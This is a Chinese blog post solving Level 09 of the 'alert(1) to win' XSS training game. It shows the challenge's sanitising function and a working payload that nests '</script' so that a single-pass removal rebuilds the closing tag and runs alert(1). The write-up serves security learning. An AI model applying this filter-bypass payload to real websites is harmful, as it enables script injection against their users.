【alert(1) to win】 Level 09 - JSON 2



题目

function escape(s) {
  s = JSON.stringify(s).replace(/<\/script/gi, '');

  return '<script>console.log(' + s + ');</script>';
}

解题报告

Level 03 - JSON 的进阶版。

回顾下第 3 题的 payload 是 :

</script><script>alert(1);//

而这题对输入的字符串会做 一次 全局替换,把 </script 删掉,使得我们无法闭合标签。

但是因为替换只做一次,所以要绕过也不难,只需要把 </script 做一次嵌套即可,例如 </scr</scriptipt>,被全局替换后,留下的就是我们需要的闭合标签 </script>

因此这题可构造这样的 payload :

</scr</scriptipt><script>alert(1);//


答案下载


文章作者: EXP
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EXP !
 上一篇
CVE-2019-5475 与 CVE-2019-15588 漏洞分析 CVE-2019-5475 与 CVE-2019-15588 漏洞分析
Nexus 2.x RCE 命令注入漏洞:Nexus 是 Sonatype 公司推出的一个强大的仓库管理器,提供了 maven、nuget、docker、npm、bower、pypi、rubygems、git lfs、yum、go、apt 等私有仓库的管理能力
2020-12-20
下一篇 
【alert(1) to win】 Level 07 - Skandia 【alert(1) to win】 Level 07 - Skandia
来源:alert(1) to win 题目:Level 07 - Skandia 题目function escape(s) { return '<script>console.log("' + s.toUpperCase()
2020-12-07
  目录